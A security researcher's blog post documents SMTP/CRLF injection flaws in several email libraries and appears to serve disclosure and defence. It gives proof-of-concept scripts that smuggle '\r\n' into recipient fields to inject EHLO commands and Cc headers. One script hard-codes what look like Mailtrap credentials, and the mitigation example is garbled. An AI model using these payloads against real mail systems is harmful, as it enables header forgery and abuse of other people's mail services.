Home Avoiding SMTP Injection: A Whitebox primer
Post
Cancel

Avoiding SMTP Injection: A Whitebox primer

SMTP Injection can often be interesting vulnerability to code review and find. Some work I did regarding this can be found here: https://snyk.io/blog/avoiding-smtp-injection/

The following vulnerabilities were found during this research

Library Language Fixed Version
SMTPMail-drogon C Fixed in Master
Email::MIME Perl No Fix Available
Net::SMTP Perl No Fix Available
aiosmtplib Python Fixed in 1.1.7
smtpclient NodeJS No Fix Available

The below are some of my notes/payloads from this research

smtp-client

In the example below, I can inject \r\n into an rcpt object and add a EHLO command. Other fields within Email such as Subject and From field are also vulnerable.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var smtp = require('smtp-client');
let s = new smtp.SMTPClient({
  host: '127.0.0.1',
  port: 1225

});


(async function() {

  await s.connect();
  await s.greet({hostname: '127.0.0.1'}); // runs EHLO command or HELO as a fallback
  await s.authPlain({username: 'testuser', password: 'testpass'}); // authenticates a user
  await s.mail({from: 'from@sender.com'}); // runs MAIL FROM command
  await s.rcpt({to: 'to@recipient.com>\r\nEHLO client.example.com'}); // runs RCPT TO command (run this multiple times to add more recii)
  await s.data('mail source'); // runs DATA command and streams email source
  await s.quit(); // runs QUIT command

})().catch(console.error);

to@recipient.com>\r\nEHLO client.example.com - This command being treated as a separate command can be seen below.

Email::MIME

The below example just shows an example of CRLF sequences being processed and sent successfully as a CC header

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/perl
use MIME::Lite;



#$cc = 'cc@example.com';
$from = "sender\@outlook.com";
$to = "reciever\@gmail.com\rCc: zercool\@gmail.com";
$subject = "Hello world";
$message = 'This is test email sent by Perl Script';


$msg = MIME::Lite->new(

  From     => $from,
  To       => $to,
  Cc       => $cc,
  Subject  => $subject,
  Type     => 'multipart/mixed'

);


# Add your text message.
$msg->attach(Type => 'text', Data => $message);


# config
$msg->send('smtp', "localhost", Port=>2025, Hello=>"localhost" );

print "Email Sent Successfully\n";

I have an example python server running locally with python -m smtpd -c DebuggingServer -n localhost:2025 and the injected Cc header can be seen below.

he below example just shows an example of CRLF sequences being processed and sent successfully as a CC header

Net::SMTP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/perl

use strict;
use Cwd;
use Data::Dumper;
use Net::SMTP;
use File::Slurp;
use Email::Sender::Simple qw(sendmail);
sub sendMail($$);
use constant DEBUG => 0;
my $startDir = getcwd;


my %email = ( 'smtp' => 'smtp.mailtrap.io',

              'hello' => 'smtp.mailtrap.io',
              'user'   => '63ef4bad307846',
              'pass'   => '650425530e71d1',
              'no_mail' => 0,  # Don't send mail. Useful for checking what would be sent...
              'debug' => 1,    # Print extra smtp feedback.
              'from' => "from\@example.com",
              'to' => [ "to\@example.com\r\nCc: foobar\@gmail.com" ],
              'subject' => 'Testing' );


my $bodyfile = $ARGV[0];
unless (-f $bodyfile){
  die "usage: $0 <file_containing_email_body>";

}

my $mail_body = "Hey";
print "sending mail...\n"  if(DEBUG);
sendMail(\%email, $mail_body);
exit 0;


sub sendMail($$){

  my $m = shift;
  my $out  = shift;
  my $toList = join ',', @{ $m->{'to'} };

  if( $m->{'no_mail'} ){
    print "sendMail(no_mail=1): NOT sending\n" . Dumper($m) . "\n" . Dumper($out) . "\n";
    return;
  }
  my $smtp = Net::SMTP->new( $m->{'smtp'}, 'Hello' => $m->{'hello'},

                              'Debug' => $m->{'debug'}, 'Port' => 2525 );

  $smtp->auth(  $m->{'user'}, $m->{'pass'} );
  $smtp->mail( $m->{'from'} );
  $smtp->to( @{ $m->{'to'} } );
  $smtp->data();
  $smtp->datasend("From: $m->{'from'}\n" );
  $smtp->datasend("To: $toList\n" );
  $smtp->datasend("Subject: $m->{'subject'}\n" );
  $smtp->datasend("\n");
  $smtp->datasend( "$out\n" );
  $smtp->dataend();
  $smtp->quit;

}

Here the \r\nCc: foobar\@gmail.com will be interpreted as a separate command and an extra Cc header will be injected through the To header.

1
2
3
Net::SMTP=GLOB(0x5578f2cfc148)>>> From: from@example.com
Net::SMTP=GLOB(0x5578f2cfc148)>>> To: to@example.com
Net::SMTP=GLOB(0x5578f2cfc148)>>> Cc: foobar@gmail.com

Mitigation

One potential fix here is to escape newlines, e.g. \n -> \n \r -> \r specifically in address and subject fields. Another option is to validate and not allow CRLF characters at all. Here are some examples of popular email libraries fixing this issue.

This post is licensed under CC BY 4.0 by the author.